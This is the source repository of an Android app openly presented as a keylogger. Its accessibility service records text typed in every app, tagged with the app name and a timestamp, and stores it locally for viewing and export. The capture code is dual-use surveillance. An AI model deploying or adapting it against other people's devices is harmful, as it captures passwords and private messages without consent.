├── .github
└── workflows
│ └── android.yml
├── .gitignore
├── LICENSE
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ ├── androidTest
│ └── java
│ │ └── com
│ │ └── example
│ │ └── gpow
│ │ └── androidkeylogger
│ │ └── ExampleInstrumentedTest.java
│ ├── main
│ ├── AndroidManifest.xml
│ ├── ic_launcher-playstore.png
│ ├── ic_launcher-web.png
│ ├── java
│ │ └── com
│ │ │ └── gpow
│ │ │ └── androidkeylogger
│ │ │ ├── FileOperations.java
│ │ │ ├── KeyLoggerAccessibilityService.java
│ │ │ └── MainActivity.java
│ └── res
│ │ ├── drawable-v24
│ │ └── ic_launcher_foreground.xml
│ │ ├── drawable
│ │ └── ic_launcher_background.xml
│ │ ├── layout
│ │ └── activity_main.xml
│ │ ├── mipmap-anydpi-v26
│ │ ├── ic_launcher.xml
│ │ └── ic_launcher_round.xml
│ │ ├── mipmap-hdpi
│ │ ├── ic_launcher.png
│ │ ├── ic_launcher_foreground.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-ldpi
│ │ └── ic_launcher.png
│ │ ├── mipmap-mdpi
│ │ ├── ic_launcher.png
│ │ ├── ic_launcher_foreground.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xhdpi
│ │ ├── ic_launcher.png
│ │ ├── ic_launcher_foreground.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxhdpi
│ │ ├── ic_launcher.png
│ │ ├── ic_launcher_foreground.png
│ │ └── ic_launcher_round.png
│ │ ├── mipmap-xxxhdpi
│ │ ├── ic_launcher.png
│ │ ├── ic_launcher_foreground.png
│ │ └── ic_launcher_round.png
│ │ └── values
│ │ ├── colors.xml
│ │ ├── ic_launcher_background.xml
│ │ ├── strings.xml
│ │ └── styles.xml
│ └── test
│ └── java
│ └── com
│ └── example
│ └── gpow
│ └── androidkeylogger
│ └── ExampleUnitTest.java
├── build.gradle
├── gradle.properties
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
/.github/workflows/android.yml:
--------------------------------------------------------------------------------
1 | name: Android CI
2 |
3 | on:
4 | push:
5 | branches: [ master ]
6 | pull_request:
7 | branches: [ master ]
8 |
9 | jobs:
10 | build:
11 |
12 | runs-on: ubuntu-latest
13 |
14 | steps:
15 | - uses: actions/checkout@v2
16 | - name: set up JDK 11
17 | uses: actions/setup-java@v2
18 | with:
19 | java-version: '11'
20 | distribution: 'temurin'
21 | cache: gradle
22 |
23 | - name: Grant execute permission for gradlew
24 | run: chmod +x gradlew
25 | - name: Build with Gradle
26 | run: ./gradlew build
27 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Built application files
2 | *.apk
3 | *.ap_
4 | *.aab
5 |
6 | # Files for the ART/Dalvik VM
7 | *.dex
8 |
9 | # Java class files
10 | *.class
11 |
12 | # Generated files
13 | bin/
14 | gen/
15 | out/
16 |
17 | # Gradle files
18 | .gradle/
19 | build/
20 |
21 | # Local configuration file (sdk path, etc)
22 | local.properties
23 |
24 |
25 | # Proguard folder generated by Eclipse
26 | proguard/
27 |
28 | # Log Files
29 | *.log
30 |
31 | # Android Studio Navigation editor temp files
32 | .navigation/
33 |
34 | # Android Studio captures folder
35 | captures/
36 |
37 | # IntelliJ
38 | *.iml
39 | .idea/workspace.xml
40 | .idea/tasks.xml
41 | .idea/gradle.xml
42 | .idea/assetWizardSettings.xml
43 | .idea/dictionaries
44 | .idea/libraries
45 | .idea/caches
46 | .idea/
47 |
48 | # Keystore files
49 | # Uncomment the following line if you do not want to check your keystore files in.
50 | #*.jks
51 |
52 | # External native build folder generated in Android Studio 2.2 and later
53 | .externalNativeBuild
54 |
55 | # Google Services (e.g. APIs or Firebase)
56 | google-services.json
57 |
58 | # Freeline
59 | freeline.py
60 | freeline/
61 | freeline_project_description.json
62 |
63 | # fastlane
64 | fastlane/report.xml
65 | fastlane/Preview.html
66 | fastlane/screenshots
67 | fastlane/test_output
68 | fastlane/readme.md
69 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Gokul Rajan
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AndroidKeyLogger
2 | Does something straight forward, logs everything you type on your phone. Saves it locally on your phone itself. No hazzle no dazzle :)
3 |
4 |
5 | Build the app manually with AndroidStudio or get it here: https://play.google.com/store/apps/details?id=com.gpow.androidkeylogger
6 |
7 | Install the app.
8 |
9 | TurnOn Settings>Accessibility>AndroidKeyLogger (Services section)
10 |
11 | Close and open the app again to see the typed text contents.
12 |
13 | Its a work in progress, so all suggestions and pull requests are welcome :)
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 31
5 | defaultConfig {
6 | applicationId "com.gpow.androidkeylogger"
7 | minSdkVersion 19
8 | targetSdkVersion 30
9 | versionCode 9
10 | versionName "2.4.0"
11 | testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner'
12 | }
13 | buildTypes {
14 | release {
15 | minifyEnabled false
16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
17 | }
18 | }
19 | namespace 'com.gpow.androidkeylogger'
20 | }
21 |
22 | dependencies {
23 | implementation fileTree(dir: 'libs', include: ['*.jar'])
24 | implementation 'androidx.appcompat:appcompat:1.0.0'
25 | implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
26 | implementation 'com.facebook.conceal:conceal:2.0.1@aar'
27 | implementation 'com.google.android.gms:play-services-ads:20.6.0'
28 | implementation 'androidx.swiperefreshlayout:swiperefreshlayout:1.1.0'
29 |
30 |
31 | testImplementation 'junit:junit:4.12'
32 | androidTestImplementation 'androidx.test.ext:junit:1.1.1'
33 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.1.0'
34 | }
35 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/app/src/androidTest/java/com/example/gpow/androidkeylogger/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package com.gpow.androidkeylogger;
2 |
3 | import android.content.Context;
4 | import androidx.test.platform.app.InstrumentationRegistry;
5 | import androidx.test.ext.junit.runners.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumented test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("com.gpow.androidkeylogger", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/app/src/main/ic_launcher-playstore.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/ic_launcher-playstore.png
--------------------------------------------------------------------------------
/app/src/main/ic_launcher-web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/ic_launcher-web.png
--------------------------------------------------------------------------------
/app/src/main/java/com/gpow/androidkeylogger/FileOperations.java:
--------------------------------------------------------------------------------
1 | package com.gpow.androidkeylogger;
2 |
3 | import java.io.File;
4 | import java.io.FileOutputStream;
5 | import java.io.IOException;
6 |
7 | public class FileOperations {
8 |
9 | // Create a file with text locally
10 | public static void writeTextToFile(final String filename, final String text) {
11 | File file = new File(filename);
12 | try {
13 | FileOutputStream stream = new FileOutputStream(file);
14 | stream.write(text.getBytes());
15 | stream.close();
16 | } catch (IOException e) {
17 | e.printStackTrace();
18 | }
19 | }
20 |
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/app/src/main/java/com/gpow/androidkeylogger/KeyLoggerAccessibilityService.java:
--------------------------------------------------------------------------------
1 | package com.gpow.androidkeylogger;
2 |
3 | import android.accessibilityservice.AccessibilityService;
4 | import android.accessibilityservice.AccessibilityServiceInfo;
5 | import android.content.SharedPreferences;
6 | import android.preference.PreferenceManager;
7 | import android.view.accessibility.AccessibilityEvent;
8 |
9 | import com.facebook.android.crypto.keychain.AndroidConceal;
10 | import com.facebook.android.crypto.keychain.SharedPrefsBackedKeyChain;
11 | import com.facebook.crypto.Crypto;
12 | import com.facebook.crypto.CryptoConfig;
13 | import com.facebook.crypto.Entity;
14 | import com.facebook.crypto.keychain.KeyChain;
15 | import com.facebook.crypto.util.SystemNativeCryptoLibrary;
16 |
17 | import java.io.BufferedOutputStream;
18 | import java.io.FileOutputStream;
19 | import java.io.OutputStream;
20 | import java.text.SimpleDateFormat;
21 | import java.util.Date;
22 | import java.util.List;
23 |
24 | public class KeyLoggerAccessibilityService extends AccessibilityService {
25 |
26 | @Override
27 | public void onAccessibilityEvent(AccessibilityEvent event) {
28 | final int eventType = event.getEventType();
29 |
30 | // Text information received from the event
31 | String eventText = "" + event.getText();
32 | eventText = eventText.substring(1, eventText.length()-1);
33 |
34 | switch(eventType) {
35 | /*
36 | You can use catch other events like touch and focus
37 | */
38 |
39 | // case AccessibilityEvent.TYPE_VIEW_CLICKED:
40 | // eventText = "Clicked" + "[" + event.getPackageName() + "]: ";
41 | // break;
42 | // case AccessibilityEvent.TYPE_VIEW_FOCUSED:
43 | // eventText = "Focused" + "[" + event.getPackageName() + "]: ";
44 | // break;
45 | case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
46 | // eventText = "Typed" + "[" + event.getPackageName() + "]: ";
47 | saveContents("" + eventText, ""+event.getPackageName());
48 | break;
49 | }
50 |
51 | //print the typed text in the console. Or do anything you want here.
52 | System.out.println("ACCESSIBILITY SERVICE : "+eventText);
53 |
54 | }
55 |
56 | @Override
57 | public void onInterrupt() {
58 | //whatever
59 | }
60 |
61 | @Override
62 | public void onServiceConnected() {
63 | //configure our Accessibility service
64 | AccessibilityServiceInfo info=getServiceInfo();
65 | info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
66 | info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
67 | info.notificationTimeout = 100;
68 | this.setServiceInfo(info);
69 | }
70 |
71 | private void saveContents(String eventLog, String eventSource) {
72 | try {
73 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
74 | String savedLog = preferences.getString("KeyLogger", "");
75 | String currentSavedLog = (savedLog.length() > 0) ? savedLog.substring(savedLog.lastIndexOf("\n") + 1) : "";
76 | String newLog = "";
77 |
78 | // Check if the savedLog is identical to eventLog; then no change is required
79 | if (currentSavedLog.equals(eventLog)) {
80 | return;
81 | }
82 | // Check if the savedLog contains part of the eventLog
83 | // Cond 1: Check if savedLog is bigger than eventLog
84 | // Use-case: for saving text repeatedly when user hits backspace
85 | // Cond 2: Check if savedLog contains part of eventLog
86 | // Use-case: to avoid saving repeatedly as user types each character
87 | else if (currentSavedLog.length() > 0 && eventLog.contains(currentSavedLog)) {
88 | // Updated savedLog as follows: savedLog - oldLog + newLog
89 | // NOTE: Here the old and new logs are from the same events
90 | String oldLog = savedLog.substring(0, savedLog.lastIndexOf("\n") + 1);
91 | newLog = oldLog + eventLog;
92 | }
93 | // Else this is a new log to be added
94 | else {
95 | // Create timestamp
96 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss z");
97 | String currentDatetime = sdf.format(new Date());
98 |
99 | newLog = savedLog + "\n[" + eventSource + " ::: "+ currentDatetime + "]\n" + eventLog;
100 | }
101 |
102 | preferences = PreferenceManager.getDefaultSharedPreferences(this);
103 | SharedPreferences.Editor editor = preferences.edit();
104 | editor.putString("KeyLogger", newLog);
105 | editor.apply();
106 | }
107 | catch (Exception e) {
108 |
109 | e.printStackTrace();
110 | }
111 | }
112 |
113 | private String getFilename() {
114 | String date = new SimpleDateFormat("dd-MM-yyyy").format(new Date());
115 | return date+"_loglogs";
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/app/src/main/java/com/gpow/androidkeylogger/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.gpow.androidkeylogger;
2 |
3 | import android.accessibilityservice.AccessibilityService;
4 | import android.accessibilityservice.AccessibilityServiceInfo;
5 | import android.content.Context;
6 | import android.content.Intent;
7 | import android.content.SharedPreferences;
8 | import android.content.pm.PackageManager;
9 | import android.content.pm.ServiceInfo;
10 | import android.net.Uri;
11 | import android.os.Environment;
12 | import android.os.Handler;
13 | import android.preference.PreferenceManager;
14 |
15 | import androidx.annotation.NonNull;
16 | import androidx.appcompat.app.AppCompatActivity;
17 | import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
18 |
19 | import android.os.Bundle;
20 | import android.provider.Settings;
21 | import android.util.Log;
22 | import android.view.MotionEvent;
23 | import android.view.View;
24 | import android.view.accessibility.AccessibilityManager;
25 | import android.widget.Button;
26 | import android.widget.LinearLayout;
27 | import android.widget.TextView;
28 | import android.widget.Toast;
29 |
30 | import com.google.android.gms.ads.AdListener;
31 | import com.google.android.gms.ads.AdRequest;
32 | import com.google.android.gms.ads.AdView;
33 | import com.google.android.gms.ads.LoadAdError;
34 | import com.google.android.gms.ads.MobileAds;
35 | import com.google.android.gms.ads.initialization.InitializationStatus;
36 | import com.google.android.gms.ads.initialization.OnInitializationCompleteListener;
37 |
38 | import java.io.File;
39 | import java.io.FileOutputStream;
40 | import java.io.IOException;
41 | import java.text.SimpleDateFormat;
42 | import java.util.Date;
43 | import java.util.List;
44 |
45 | import static com.gpow.androidkeylogger.FileOperations.writeTextToFile;
46 |
47 | public class MainActivity extends AppCompatActivity {
48 |
49 | private View popupAccessibilityView;
50 | private View changeAccessibilityView;
51 | private Button logsButton;
52 | private Button exportButton;
53 | private Button clearButton;
54 |
55 | private AdView mAdView;
56 | private AdRequest mAdRequest;
57 | private int REFRESH_RATE_IN_SECONDS = 5;
58 | private final Handler refreshHandler = new Handler();
59 | private final Runnable refreshRunnable = new RefreshRunnable();
60 |
61 | private SwipeRefreshLayout swipeRefreshLayout;
62 |
63 | private Toast toast = null;
64 |
65 | @Override
66 | protected void onCreate(Bundle savedInstanceState) {
67 | super.onCreate(savedInstanceState);
68 | setContentView(R.layout.activity_main);
69 | getSupportActionBar().hide();
70 | updateText();
71 | setupDisclaimer();
72 | setupView();
73 |
74 | checkForAccessibility();
75 | setUpAdView();
76 | }
77 |
78 | @Override
79 | protected void onRestart() {
80 | mAdView.resume();
81 | super.onRestart();
82 | checkForAccessibility();
83 | updateText();
84 | }
85 |
86 | @Override
87 | public void onPause() {
88 | // Pause the AdView.
89 | mAdView.pause();
90 | super.onPause();
91 | }
92 |
93 | @Override
94 | public void onDestroy() {
95 | // Destroy the AdView.
96 | mAdView.destroy();
97 | super.onDestroy();
98 | }
99 |
100 |
101 | /* Setup AdView */
102 | private void setUpAdView() {
103 |
104 | MobileAds.initialize(this, new OnInitializationCompleteListener() {
105 | @Override
106 | public void onInitializationComplete(InitializationStatus initializationStatus) {
107 | }
108 | });
109 |
110 | mAdView = findViewById(R.id.adView);
111 | mAdRequest = new AdRequest.Builder().build();
112 | mAdView.setAdListener(new AdListener() {
113 |
114 | @Override
115 | public void onAdLoaded() {
116 | super.onAdLoaded();
117 |
118 | LinearLayout.LayoutParams param = (LinearLayout.LayoutParams) swipeRefreshLayout.getLayoutParams();
119 | param.weight = 8.0f;
120 | swipeRefreshLayout.setLayoutParams(param);
121 | mAdView.setVisibility(View.VISIBLE);
122 | }
123 |
124 | @Override
125 | public void onAdFailedToLoad(@NonNull LoadAdError loadAdError) {
126 | super.onAdFailedToLoad(loadAdError);
127 |
128 | LinearLayout.LayoutParams param = (LinearLayout.LayoutParams) swipeRefreshLayout.getLayoutParams();
129 | param.weight = 9.0f;
130 | swipeRefreshLayout.setLayoutParams(param);
131 | mAdView.setVisibility(View.GONE);
132 |
133 | refreshHandler.removeCallbacks(refreshRunnable);
134 | refreshHandler.postDelayed(refreshRunnable, REFRESH_RATE_IN_SECONDS * 1000);
135 | }
136 | });
137 | mAdView.loadAd(mAdRequest);
138 | }
139 |
140 | private void checkForAccessibility() {
141 |
142 | if (!isAccessibilityServiceEnabled(this, KeyLoggerAccessibilityService.class)) {
143 | popupAccessibilityView.setVisibility(View.VISIBLE);
144 | }
145 | else {
146 | popupAccessibilityView.setVisibility(View.GONE);
147 | }
148 | }
149 |
150 |
151 | static boolean isAccessibilityServiceEnabled(Context context, Class extends AccessibilityService> service) {
152 | AccessibilityManager am = (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
153 | List enabledServices = am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
154 |
155 | for (AccessibilityServiceInfo enabledService : enabledServices) {
156 | ServiceInfo enabledServiceInfo = enabledService.getResolveInfo().serviceInfo;
157 | if (enabledServiceInfo.packageName.equals(context.getPackageName()) && enabledServiceInfo.name.equals(service.getName()))
158 | return true;
159 | }
160 |
161 | return false;
162 | }
163 |
164 |
165 | private void setupDisclaimer() {
166 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
167 | String agreement = preferences.getString("KeyLogger.TermsAgreed", "false");
168 | if (agreement.equals("false")) {
169 | // Unhide disclaimer window
170 | View disclaimerWindow = (View) findViewById(R.id.disclaimerWindow);
171 | disclaimerWindow.setVisibility(View.VISIBLE);
172 |
173 | // Configure DisclaimerAgreeBtn
174 | Button disclaimerAgreeButton = (Button) findViewById(R.id.disclaimerAgreeBtn);
175 | disclaimerAgreeButton.setOnClickListener(new View.OnClickListener() {
176 | @Override
177 | public void onClick(View v) {
178 | // Hide disclaimer window
179 | View disclaimerWindow = (View) findViewById(R.id.disclaimerWindow);
180 | disclaimerWindow.setVisibility(View.GONE);
181 |
182 | // Saved terms agreed
183 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(MainActivity.this);
184 | SharedPreferences.Editor editor = preferences.edit();
185 | editor.putString("KeyLogger.TermsAgreed", "true");
186 | editor.apply();
187 | }
188 | });
189 | }
190 | }
191 |
192 |
193 | private void setupView() {
194 |
195 | swipeRefreshLayout = findViewById(R.id.swipeRefreshLayout);
196 | swipeRefreshLayout.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
197 | @Override
198 | public void onRefresh() {
199 | updateText();
200 | showToast("Content refreshed!");
201 | swipeRefreshLayout.setRefreshing(false);
202 | }
203 | });
204 |
205 | // Setup ignore accessibility view
206 | popupAccessibilityView = findViewById(R.id.accessibility_popup);
207 | popupAccessibilityView.setOnClickListener(new View.OnClickListener() {
208 | @Override
209 | public void onClick(View v) {
210 | findViewById(R.id.accessibility_popup).setVisibility(View.GONE);
211 | }
212 | });
213 |
214 | changeAccessibilityView = findViewById(R.id.accessibility_modify);
215 | changeAccessibilityView.setOnClickListener(new View.OnClickListener() {
216 | @Override
217 | public void onClick(View v) {
218 | Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
219 | startActivity(intent);
220 | }
221 | });
222 |
223 | // // Setup Refresh Button
224 | // TODO: Either create a list view for all the log files or find a way to redirect to file manager
225 | // logsButton = (Button)findViewById(R.id.logsButton);
226 | //// setOnTouchEffect(refreshButton);
227 | // logsButton.setOnClickListener(new View.OnClickListener() {
228 | // @Override
229 | // public void onClick(View v) {
230 | // openLogPath();
231 | // }
232 | // });
233 |
234 | // Setup Export Button
235 | exportButton = (Button)findViewById(R.id.exportButton);
236 | // setOnTouchEffect(exportButton);
237 | exportButton.setOnClickListener(new View.OnClickListener() {
238 | @Override
239 | public void onClick(View v) {
240 | exportText();
241 | // shareFile(filepath);
242 | }
243 | });
244 |
245 | // Setup Clear Button
246 | clearButton = (Button)findViewById(R.id.clearButton);
247 | // setOnTouchEffect(clearButton);
248 | clearButton.setOnClickListener(new View.OnClickListener() {
249 | @Override
250 | public void onClick(View v) {
251 | exportText();
252 | clearText();
253 | }
254 | });
255 | }
256 |
257 |
258 | private void exportText() {
259 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss z");
260 | String currentDatetime = sdf.format(new Date());
261 | String filepath = getExternalFilesDir("/").getAbsolutePath() + "/keylogger_text_" + currentDatetime + ".txt";
262 | writeTextToFile(filepath, loadContents());
263 | showToast("File exported to " + filepath);
264 | }
265 |
266 |
267 | private void clearText() {
268 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(MainActivity.this);
269 | SharedPreferences.Editor editor = preferences.edit();
270 | editor.putString("KeyLogger", "");
271 | editor.apply();
272 | updateText();
273 | // showToast("Text cleared!");
274 | }
275 |
276 |
277 | private void showToast(String msg) {
278 | if (toast != null) {
279 | toast.cancel();
280 | }
281 | toast = Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG);
282 | toast.show();
283 | }
284 | // private void setOnTouchEffect(Button button) {
285 | //
286 | // button.setOnTouchListener(new View.OnTouchListener() {
287 | // @Override
288 | // public boolean onTouch(View v, MotionEvent event) {
289 | //
290 | // Button btn = (Button)v;
291 | //
292 | // if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_PRESS) {
293 | // btn.setTextColor(getResources().getColor(R.color.colorButtonBackground));
294 | // btn.setBackgroundColor(getResources().getColor(R.color.colorButtonText));
295 | // }
296 | // else if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_RELEASE) {
297 | // btn.setTextColor(getResources().getColor(R.color.colorButtonText));
298 | // btn.setBackgroundColor(getResources().getColor(R.color.colorButtonBackground));
299 | // }
300 | // return false;
301 | // }
302 | // });
303 | // }
304 |
305 | private void updateText() {
306 | TextView textView = findViewById(R.id.logs);
307 | textView.setText("Logs: " + loadContents());
308 | }
309 |
310 |
311 | public static Context getContext() {
312 | return getContext();
313 | }
314 |
315 | private String loadContents() {
316 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
317 | String logs = preferences.getString("KeyLogger", "No logs found");
318 | return logs;
319 | }
320 |
321 | /*
322 | Intent operations
323 | */
324 |
325 | //
326 | // public void openLogPath() {
327 | //
328 | // try {
329 | // Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
330 | // String path1 = getExternalFilesDir("/").getAbsolutePath() + "/Android/data/com.gpow.androidkeylogger/files/";
331 | // String path = getPackageManager().getPackageInfo(getPackageName(), 0).applicationInfo.dataDir;
332 | // String path2 = getApplicationInfo().dataDir;
333 | // Uri uri = Uri.parse(path);
334 | // intent.setDataAndType(uri, "*/*");
335 | // startActivity(intent);
336 | // }
337 | // catch (Exception e) {
338 | // Log.e("keyL", "Error occured when opening log path");
339 | // }
340 | // }
341 | //
342 | // public void openLogPath()
343 | // {
344 | // // location = "/sdcard/my_folder";
345 | // Intent intent = new Intent(Intent.ACTION_VIEW);
346 | // Uri mydir = Uri.parse(getExternalFilesDir("/").getAbsolutePath());
347 | // intent.setDataAndType(mydir,"application/*"); // or use */*
348 | // startActivity(intent);
349 | // }
350 |
351 | // private void newOpener() {
352 | // Intent chooser = new Intent(Intent.ACTION_GET_CONTENT);
353 | // Uri uri = Uri.parse(Environment.getDownloadCacheDirectory().getPath().toString());
354 | // chooser.addCategory(Intent.CATEGORY_OPENABLE);
355 | // chooser.setDataAndType(uri, "*/*");
356 | //// startActivity(chooser);
357 | // try {
358 | // startActivityForResult(chooser, SELECT_FILE);
359 | // }
360 | // catch (android.content.ActivityNotFoundException ex)
361 | // {
362 | // Toast.makeText(this, "Please install a File Manager.",
363 | // Toast.LENGTH_SHORT).show();
364 | // }
365 | // }
366 |
367 | // private void openLogPath() {
368 | // String path = getExternalFilesDir("/").getAbsolutePath();
369 | // Uri selectedUri = Uri.parse(getExternalFilesDir("/").getAbsolutePath());
370 | // Intent intent = new Intent(Intent.ACTION_VIEW);
371 | // intent.setDataAndType(selectedUri, "resource/folder");
372 | //
373 | // if (intent.resolveActivityInfo(getPackageManager(), 0) != null)
374 | // {
375 | // startActivity(intent);
376 | // }
377 | // else
378 | // {
379 | // showToast("Could not find explorer app installed on the device");
380 | // }
381 | // }
382 |
383 |
384 | private void shareFile(String filepath) {
385 | Intent intentShareFile = new Intent(Intent.ACTION_SEND);
386 | File fileWithinMyDir = new File(filepath);
387 |
388 | if(fileWithinMyDir.exists()) {
389 | intentShareFile.setType("application/pdf");
390 | intentShareFile.putExtra(Intent.EXTRA_STREAM, Uri.parse("file://"+filepath));
391 |
392 | intentShareFile.putExtra(Intent.EXTRA_SUBJECT,
393 | "Sharing File...");
394 | intentShareFile.putExtra(Intent.EXTRA_TEXT, "Sharing File...");
395 |
396 | startActivity(Intent.createChooser(intentShareFile, "Share File"));
397 | }
398 | }
399 |
400 | private class RefreshRunnable implements Runnable {
401 | @Override
402 | public void run() {
403 | mAdView.loadAd(mAdRequest);
404 | }
405 | }
406 | }
407 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
12 |
13 |
19 |
22 |
25 |
26 |
27 |
28 |
34 |
35 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
10 |
12 |
14 |
16 |
18 |
20 |
22 |
24 |
26 |
28 |
30 |
32 |
34 |
36 |
38 |
40 |
42 |
44 |
46 |
48 |
50 |
52 |
54 |
56 |
58 |
60 |
62 |
64 |
66 |
68 |
70 |
72 |
74 |
75 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
12 |
19 |
30 |
37 |
38 |
39 |
40 |
41 |
42 |
50 |
61 |
65 |
72 |
73 |
83 |
84 |
85 |
86 |
93 |
103 |
113 |
123 |
124 |
125 |
132 |
135 |
148 |
149 |
150 |
151 |
161 |
162 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-ldpi/ic_launcher.png:
--------------------------------------------------------------------------------
